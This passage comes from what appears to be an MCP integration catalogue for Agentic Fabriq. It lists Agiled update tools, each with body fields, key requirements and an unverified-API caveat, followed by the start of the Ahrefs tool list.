`tags`, `twitter`. Required: `first_name`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. PUT /api/v1/agiled/contacts/{id}. Scopes: write. agiled_put_crm_deals_by_id (write) — Update a deal via PUT /crm/deals/{id}. A deal is one opportunity moving through a pipeline: a value, a stage, a source and a status, attached to an account or a contact. Partial or full update as Agiled defines it for this resource; send the fields to change. Body fields: `amount`, `close_date`, `deal_name`, `deal_owner`, `deal_type`, `pipeline_id`, `stage_id`. Required: `deal_name`, `pipeline_id`, `stage_id`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. PUT /api/v1/agiled/crm/deals/{id}. Scopes: write. agiled_put_crm_pipeline_stages_by_id (write) — Update a pipeline stage via PUT /crm/pipeline-stages/{id}. A pipeline stage is one column of a sales pipeline. Deals sit in exactly one stage, so the stage list is the vocabulary a deal's `stage` field has to come from. Partial or full update as Agiled defines it for this resource; send the fields to change. Body fields: `pipeline_id`, `stage_name`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. PUT /api/v1/agiled/crm/pipeline-stages/{id}. Scopes: write. agiled_put_crm_pipelines_by_id (write) — Update a pipeline via PUT /crm/pipelines/{id}. A pipeline is a named sequence of stages that deals move through; an account can run several. Partial or full update as Agiled defines it for this resource; send the fields to change. Body fields: `pipeline_name`. Required: `pipeline_name`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. PUT /api/v1/agiled/crm/pipelines/{id}. Scopes: write. agiled_put_crm_tasks_by_type_by_id (write) — Update a CRM task via PUT /crm/tasks/{type}/{id}. A CRM task is a to-do attached to a contact, account or deal. It is a different record from a PROJECT task: the project task tools live under /tasks and are addressed by project, not by CRM module. Partial or full update as Agiled defines it for this resource; send the fields to change. Body fields: `billable`, `category_id`, `completed_on`, `description`, `due_date`, `heading`, `milestone_id`, `priority`, `project_id`, `start_date`, `user_id`. Required: `due_date`, `heading`, `priority`, `start_date`, `user_id`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. PUT /api/v1/agiled/crm/tasks/{type}/{id}. Scopes: write. agiled_put_employees_by_id (write) — Update an employee via PUT /employees/{id}. An employee is a person on the workspace's HR roster, carrying a department, a designation and the attendance and time-log history recorded against them. Partial or full update as Agiled defines it for this resource; send the fields to change. Body fields: `address`, `department_id`, `designation_id`, `email`, `employee_id`, `hourly_rate`, `joining_date`, `name`, `password`, `slack_username`. Required: `department_id`, `designation_id`, `email`, `employee_id`, `joining_date`, `name`. `password` IS REDACTED FROM THE REPLY, for the same reason as the create: Agiled reuses the request schema as the response schema, so a submitted password is echoed back. Every other field is returned intact. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. PUT /api/v1/agiled/employees/{id}. Scopes: write. agiled_put_estimates_by_id (write) — Update an estimate via PUT /estimates/{id}. An estimate is a quote sent to a client before the work: the same line items an invoice carries, without being a demand for payment. Partial or full update as Agiled defines it for this resource; send the fields to change. Body fields: `client_id`, `currency_id`, `custom_fields`, `discount`, `discount_type`, `items`, `note`, `status`, `sub_total`, `total`, `valid_till`. Required: `client_id`, `currency_id`, `sub_total`, `total`, `valid_till`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. PUT /api/v1/agiled/estimates/{id}. Scopes: write. agiled_put_event_types_by_id (write) — Update an event type via PUT /event-types/{id}. An event type is the bookable meeting template behind Agiled's scheduling pages -- duration, availability and location -- from which individual events are booked. Partial or full update as Agiled defines it for this resource; send the fields to change. Body fields: `after_event`, `before_event`, `date_from`, `date_to`, `description`, `duration`, `name`, `start_increment`, `timezone`. Required: `description`, `name`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. PUT /api/v1/agiled/event-types/{id}. Scopes: write. agiled_put_events_by_id (write) — Update an event via PUT /events/{id}. An event is one booked slot against an event type, with its invitee and time. Partial or full update as Agiled defines it for this resource; send the fields to change. Body fields: `availability_id`, `client_id`, `email`, `end`, `name`, `start`, `start_date_time`. Required: `email`, `name`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. PUT /api/v1/agiled/events/{id}. Scopes: write. agiled_put_expenses_by_id (write) — Update an expense via PUT /expenses/{id}. An expense is a cost recorded against the business, optionally against a project, with an amount, a currency and a category. Partial or full update as Agiled defines it for this resource; send the fields to change. Body fields: `currency_id`, `distance_category`, `distance_cost`, `distance_description`, `distance_unit`, `distance_unit_rate`, `distance_value`, `how_often`, `include_distance`, `is_infinite`, `item_name`, `make_recurring`, `next_purchase_date`, `often_terms`, `price`, `project_id`, `purchase_date`, `purchased_from`, `remaining_cycles`, `status`, `term_duration`, `user_id`. Required: `currency_id`, `item_name`, `price`, `purchase_date`, `user_id`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. PUT /api/v1/agiled/expenses/{id}. Scopes: write. agiled_put_invoices_by_id (write) — Send an invoice reminder via PUT /invoices/{id}. An invoice is a billing document issued to a client, carrying line items, taxes, a currency and a payment status; payments are recorded against it separately. Partial or full update as Agiled defines it for this resource; send the fields to change. Agiled's OpenAPI declares NO request body for this operation. An optional free-form `body` is accepted anyway because this document is demonstrably incomplete -- 14 of its 166 operations name a path or verb the API does not serve -- and a reminder endpoint that really takes no input simply ignores an empty one. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. PUT /api/v1/agiled/invoices/{id}. Scopes: write. agiled_put_payment_gateway_credential_by_id (write, destructive) — Replace payment-gateway credentials via PUT /payment-gateway-credential/{id}. The payment-gateway credentials are the live keys Agiled collects money with. They are the workspace's own secrets, not this connection's. Partial or full update as Agiled defines it for this resource; send the fields to change. Body fields: `authorize_environment`, `authorize_login_id`, `authorize_status`, `authorize_transaction_key`, `mollie_api_key`, `mollie_status`, `paypal_client_id`, `paypal_mode`, `paypal_secret`, `paypal_status`, `razorpay_key`, `razorpay_secret`, `razorpay_status`, `razorpay_webhook_secret`, `stripe_client_id`, `stripe_secret`, `stripe_status`, `stripe_webhook_secret`. This OVERWRITES the account's live payment-gateway credentials -- the keys Agiled collects money with. The previous secret is not recoverable from Agiled afterwards and a wrong value stops payment collection for the whole workspace, so it is gated behind the destructive confirmation even though it destroys no record. The ledger files it `write` because it reads the VERB. THE SECRET HALVES ARE REDACTED FROM THE REPLY, the same seven fields the read redacts, in case Agiled echoes back what was just written. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. PUT /api/v1/agiled/payment-gateway-credential/{id}. Scopes: write. agiled_put_payments_by_id (write) — Update a payment via PUT /payments/{id}. A payment is money received against an invoice. It is a separate record from the invoice: recording one here is what moves the invoice towards paid. Partial or full update as Agiled defines it for this resource; send the fields to change. Body fields: `amount`, `company_id`, `currency_id`, `customer_id`, `event_id`, `gateway`, `invoice_id`, `meta`, `offline_method_id`, `paid_on`, `plan_id`, `project_id`, `remarks`, `status`, `subscription_id`, `transaction_id`. Required: `amount`, `paid_on`, `transaction_id`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. PUT /api/v1/agiled/payments/{id}. Scopes: write. agiled_put_products_by_id (write) — Update a product via PUT /products/{id}. A product is a catalogue item with a price and a tax, used as the source of line items on invoices and estimates. Partial or full update as Agiled defines it for this resource; send the fields to change. Body fields: `allow_purchase`, `name`, `price`, `taxes`. Required: `name`, `price`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. PUT /api/v1/agiled/products/{id}. Scopes: write. agiled_put_projects_by_id (write) — Update a project via PUT /projects/{id}. A project is the unit of delivery work: it holds milestones, tasks, files and time logs, and is attached to a client. Partial or full update as Agiled defines it for this resource; send the fields to change. Body fields: `allow_client_notification`, `category_id`, `client_id`, `client_view_task`, `completion_percent`, `currency_id`, `deadline`, `feedback`, `hours_allocated`, `manual_time_log`, `notes`, `project_budget`, `project_name`, `project_summary`, `start_date`. Required: `project_name`, `start_date`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. PUT /api/v1/agiled/projects/{id}. Scopes: write. agiled_put_projects_milestonesstatusupdate_by_id (write) — Update a milestone's status via PUT /projects/milestonesstatusupdate/{id}. A milestone is a named checkpoint inside a project, with its own status, that project tasks are grouped under. Partial or full update as Agiled defines it for this resource; send the fields to change. Body fields: `company_id`, `cost`, `currency_id`, `invoice_created`, `milestone_title`, `project_id`, `status`, `summary`. Required: `milestone_title`, `project_id`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. PUT /api/v1/agiled/projects/milestonesstatusupdate/{id}. Scopes: write. agiled_put_projects_milestonesupdate_by_id (write) — Update a milestone via PUT /projects/milestonesupdate/{id}. A milestone is a named checkpoint inside a project, with its own status, that project tasks are grouped under. Partial or full update as Agiled defines it for this resource; send the fields to change. Body fields: `company_id`, `cost`, `currency_id`, `invoice_created`, `milestone_title`, `project_id`, `status`, `summary`. Required: `milestone_title`, `project_id`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. PUT /api/v1/agiled/projects/milestonesupdate/{id}. Scopes: write. agiled_put_tasks_by_id (write) — Update a task via PUT /tasks/{id}. A task is a unit of project work, attached to a project and optionally to a milestone, with an assignee, a status and its own time logs. It is a different record from a CRM task, which hangs off a contact, account or deal. Partial or full update as Agiled defines it for this resource; send the fields to change. Body fields: `billable`, `category_id`, `completed_on`, `description`, `due_date`, `heading`, `milestone_id`, `priority`, `project_id`, `start_date`, `user_id`. Required: `due_date`, `heading`, `priority`, `start_date`, `user_id`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. PUT /api/v1/agiled/tasks/{id}. Scopes: write. agiled_put_tasks_markcomplete_by_id (write) — Mark a task complete via PUT /tasks/markcomplete/{id}. A task is a unit of project work, attached to a project and optionally to a milestone, with an assignee, a status and its own time logs. It is a different record from a CRM task, which hangs off a contact, account or deal. Partial or full update as Agiled defines it for this resource; send the fields to change. Body fields: `billable`, `category_id`, `completed_on`, `description`, `due_date`, `heading`, `milestone_id`, `priority`, `project_id`, `start_date`, `user_id`. Required: `due_date`, `heading`, `priority`, `start_date`, `user_id`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. PUT /api/v1/agiled/tasks/markcomplete/{id}. Scopes: write. agiled_put_tasks_remindfortask_by_id (write) — Send a task reminder via PUT /tasks/remindForTask/{id}. A task is a unit of project work, attached to a project and optionally to a milestone, with an assignee, a status and its own time logs. It is a different record from a CRM task, which hangs off a contact, account or deal. Partial or full update as Agiled defines it for this resource; send the fields to change. Agiled's OpenAPI declares NO request body for this operation. An optional free-form `body` is accepted anyway because this document is demonstrably incomplete -- 14 of its 166 operations name a path or verb the API does not serve -- and a reminder endpoint that really takes no input simply ignores an empty one. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. PUT /api/v1/agiled/tasks/remindForTask/{id}. Scopes: write. agiled_put_ticketagents_by_id (write) — Update a ticket agent via PUT /ticketagents/{id}. A ticket agent is a workspace member who may be assigned support tickets. Partial or full update as Agiled defines it for this resource; send the fields to change. Body fields: `agent_id`, `group_id`, `status`. Required: `group_id`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. PUT /api/v1/agiled/ticketagents/{id}. Scopes: write. agiled_put_ticketchannels_by_id (write) — Update a ticket channel via PUT /ticketchannels/{id}. A ticket channel is the route a ticket arrived by -- email, a form, the portal -- and is one of the vocabularies a ticket's fields draw on. Partial or full update as Agiled defines it for this resource; send the fields to change. Body fields: `channel_name`. Required: `channel_name`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. PUT /api/v1/agiled/ticketchannels/{id}. Scopes: write. agiled_put_tickets_by_id (write) — Update a ticket via PUT /tickets/{id}. A ticket is one support conversation, carrying a type, a channel, an assigned agent and a thread of replies. Partial or full update as Agiled defines it for this resource; send the fields to change. Body fields: `agent_id`, `channel_id`, `file`, `message`, `priority`, `subject`, `type_id`, `user_id`. Required: `priority`, `subject`, `user_id`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. PUT /api/v1/agiled/tickets/{id}. Scopes: write. agiled_put_ticketsreply_by_id (write) — Edit a ticket reply via PUT /ticketsreply/{id}. A ticket reply is one message on a ticket's thread. A reply is what the requester sees, so writing one is customer-visible. Partial or full update as Agiled defines it for this resource; send the fields to change. Body fields: `message`, `ticket_id`, `user_id`. Required: `message`, `ticket_id`, `user_id`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. PUT /api/v1/agiled/ticketsreply/{id}. Scopes: write. agiled_put_tickettypes_by_id (write) — Update a ticket type via PUT /tickettypes/{id}. A ticket type is the classification a ticket carries, and is one of the vocabularies a ticket's fields draw on. Partial or full update as Agiled defines it for this resource; send the fields to change. Body fields: `type`. Required: `type`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. PUT /api/v1/agiled/tickettypes/{id}. Scopes: write. agiled_put_timelogs_by_id (write) — Update a time log via PUT /timelogs/{id}. A time log is a recorded interval of work against a task or project. Agiled also runs a live timer, started and stopped by its own endpoints, which writes a time log when it stops. Partial or full update as Agiled defines it for this resource; send the fields to change. Body fields: `end_time`, `project_id`, `start_time`, `task_id`, `teammate_id`, `timelog_date`, `timelog_memo`. Required: `end_time`, `project_id`, `start_time`, `task_id`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. PUT /api/v1/agiled/timelogs/{id}. Scopes: write. ================================================================================ ## Ahrefs URL: https://www.agenticfabriq.com/integrations/ahrefs Section: Integrated Tools Ahrefs — 151 MCP tools Provider key: ahrefs. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. ahrefs_delete_management_projects (write, destructive) — Management: Projects (DELETE) via DELETE /v3/management/projects. Requests to this endpoint are free and do not consume any API units. DELETE /api/v1/ahrefs/management/projects. Scopes: api. ahrefs_delete_social_media_post (write, destructive) — Social Media: Delete post via DELETE /v3/social-media/post. Requests to this endpoint are free and do not consume any API units. DELETE /api/v1/ahrefs/social-media/post. Scopes: api. ahrefs_get_brand_radar_ai_responses (read) — Brand Radar: AI Responses (GET) via GET /v3/brand-radar/ai-responses. Requests to this endpoint consume API units based on the `prompts` parameter: requests returning only custom prompt data are free, while requests including Ahrefs prompt data follow standard API unit pricing. GET /api/v1/ahrefs/brand-radar/ai-responses. Scopes: api. ahrefs_get_brand_radar_cited_domains (read) — Brand Radar: Cited Domains (GET) via GET /v3/brand-radar/cited-domains. Requests to this endpoint consume API units based on the `prompts` parameter: requests returning only custom prompt data are free, while requests including Ahrefs prompt data follow standard API unit pricing. GET /api/v1/ahrefs/brand-radar/cited-domains. Scopes: api. ahrefs_get_brand_radar_cited_pages (read) — Brand Radar: Cited Pages (GET) via GET /v3/brand-radar/cited-pages. Requests to this endpoint consume API units based on the `prompts` parameter: requests returning only custom prompt data are free, while requests including Ahrefs prompt data follow standard API unit pricing. GET /api/v1/ahrefs/brand-radar/cited-pages. Scopes: api. ahrefs_get_brand_radar_impressions_history (read) — Brand Radar: Overview history - Impressions (GET) via GET /v3/brand-radar/impressions-history. Requests to this endpoint consume API units based on the `prompts` parameter: requests returning only custom prompt data are free, while requests including Ahrefs prompt data follow standard API unit pricing. GET /api/v1/ahrefs/brand-radar/impressions-history. Scopes: api. ahrefs_get_brand_radar_impressions_overview (read) — Brand Radar: Overview - Impressions (GET) via GET /v3/brand-radar/impressions-overview. Requests to this endpoint consume API units based on the `prompts` parameter: requests returning only custom prompt data are free, while requests including Ahrefs prompt data follow standard API unit pricing. GET /api/v1/ahrefs/brand-radar/impressions-overview. Scopes: api. ahrefs_get_brand_radar_mentions_history (read) — Brand Radar: Overview history - Mentions (GET) via GET /v3/brand-radar/mentions-history. Requests to this endpoint consume API units based on the `prompts` parameter: requests returning only custom prompt data are free, while requests including Ahrefs prompt data follow standard API unit pricing. GET /api/v1/ahrefs/brand-radar/mentions-history. Scopes: api. ahrefs_get_brand_radar_mentions_overview (read) — Brand Radar: Overview - Mentions (GET) via GET /v3/brand-radar/mentions-overview. Requests to this endpoint consume API units based on the `prompts` parameter: requests returning only custom prompt data are free, while requests including Ahrefs prompt data follow standard API unit pricing. GET /api/v1/ahrefs/brand-radar/mentions-overview. Scopes: api. ahrefs_get_brand_radar_sov_history (read) — Brand Radar: Overview history - Share of Voice (GET) via GET /v3/brand-radar/sov-history. Requests to this endpoint consume API units based on the `prompts` parameter: requests returning only custom prompt data are free, while requests including Ahrefs prompt data follow standard API unit pricing. GET /api/v1/ahrefs/brand-radar/sov-history. Scopes: api. ahrefs_get_brand_radar_sov_overview (read) — Brand Radar: Overview - Share of Voice (GET) via GET /v3/brand-radar/sov-overview. Requests to this endpoint consume API units based on the `prompts` parameter: requests returning only custom prompt data are free, while requests including Ahrefs prompt data follow standard API unit pricing. GET /api/v1/ahrefs/brand-radar/sov-overview. Scopes: api. ahrefs_get_content_helper_topics (read) — Content Helper: Topics via GET /v3/content-helper/topics. This endpoint consumes a base amount of 1000 units per request, plus 500 units if you request a URL to score. The analysis runs on demand against the pages currently ranking for the keyword, so the first request for a keyword takes a few seconds. Results are cached, and repeat requests are served from the cache free of charge. Only SERPs Ahrefs has already collected are used, and no new SERP is collected. If we have collected a SERP for the keyword and country in the last 90 days, the endpoint returns a `400` error and no units are consumed. GET /api/v1/ahrefs/content-helper/topics. Scopes: api. ahrefs_get_gsc_anonymous_queries (read) — GSC Insights: Anonymous queries via GET /v3/gsc/anonymous-queries GET /api/v1/ahrefs/gsc/anonymous-queries. Scopes: api. ahrefs_get_gsc_ctr_by_position (read) — GSC Insights: CTR by position via GET /v3/gsc/ctr-by-position. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/gsc/ctr-by-position. Scopes: api. ahrefs_get_gsc_keyword_history (read) — GSC Insights: Keyword history via GET /v3/gsc/keyword-history. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/gsc/keyword-history. Scopes: api. ahrefs_get_gsc_keywords (read) — GSC Insights: Keywords via GET /v3/gsc/keywords. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/gsc/keywords. Scopes: api. ahrefs_get_gsc_metrics_by_country (read) — GSC Insights: Metrics by country via GET /v3/gsc/metrics-by-country. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/gsc/metrics-by-country. Scopes: api. ahrefs_get_gsc_page_history (read) — GSC Insights: Page history via GET /v3/gsc/page-history. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/gsc/page-history. Scopes: api. ahrefs_get_gsc_pages (read) — GSC Insights: Pages via GET /v3/gsc/pages. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/gsc/pages. Scopes: api. ahrefs_get_gsc_pages_history (read) — GSC Insights: Pages history via GET /v3/gsc/pages-history. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/gsc/pages-history. Scopes: api. ahrefs_get_gsc_performance_by_device (read) — GSC Insights: Performance by device via GET /v3/gsc/performance-by-device. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/gsc/performance-by-device. Scopes: api. ahrefs_get_gsc_performance_by_position (read) — GSC Insights: Performance by position via GET /v3/gsc/performance-by-position. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/gsc/performance-by-position. Scopes: api. ahrefs_get_gsc_performance_history (read) — GSC Insights: Performance history via GET /v3/gsc/performance-history. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/gsc/performance-history. Scopes: api. ahrefs_get_gsc_positions_history (read) — GSC Insights: Positions history via GET /v3/gsc/positions-history. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/gsc/positions-history. Scopes: api. ahrefs_get_keywords_explorer_matching_terms (read) — Keywords Explorer: Matching terms via GET /v3/keywords-explorer/matching-terms GET /api/v1/ahrefs/keywords-explorer/matching-terms. Scopes: api. ahrefs_get_keywords_explorer_overview (read) — Keywords Explorer: Overview via GET /v3/keywords-explorer/overview. The `regex` filter has limited functionality when used in this request, and the syntax differs from other requests. It expects an asterisk (*) symbol as a wildcard. GET /api/v1/ahrefs/keywords-explorer/overview. Scopes: api. ahrefs_get_keywords_explorer_related_terms (read) — Keywords Explorer: Related terms via GET /v3/keywords-explorer/related-terms GET /api/v1/ahrefs/keywords-explorer/related-terms. Scopes: api. ahrefs_get_keywords_explorer_search_suggestions (read) — Keywords Explorer: Search suggestions via GET /v3/keywords-explorer/search-suggestions GET /api/v1/ahrefs/keywords-explorer/search-suggestions. Scopes: api. ahrefs_get_keywords_explorer_volume_by_country (read) — Keywords Explorer: Volume by country via GET /v3/keywords-explorer/volume-by-country GET /api/v1/ahrefs/keywords-explorer/volume-by-country. Scopes: api. ahrefs_get_keywords_explorer_volume_history (read) — Keywords Explorer: Volume history via GET /v3/keywords-explorer/volume-history GET /api/v1/ahrefs/keywords-explorer/volume-history. Scopes: api. ahrefs_get_management_brand_radar_prompts (read) — Management: Brand Radar prompts (GET) via GET /v3/management/brand-radar-prompts. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/management/brand-radar-prompts. Scopes: api. ahrefs_get_management_brand_radar_reports (read) — Management: Brand Radar Reports (GET) via GET /v3/management/brand-radar-reports. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/management/brand-radar-reports. Scopes: api. ahrefs_get_management_keyword_list_keywords (read) — Management: Keywords list (GET) via GET /v3/management/keyword-list-keywords. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/management/keyword-list-keywords. Scopes: api. ahrefs_get_management_locations (read) — Management: Locations and languages via GET /v3/management/locations. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/management/locations. Scopes: api. ahrefs_get_management_project_competitors (read) — Management: Competitors (GET) via GET /v3/management/project-competitors. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/management/project-competitors. Scopes: api. ahrefs_get_management_project_keywords (read) — Management: Keywords 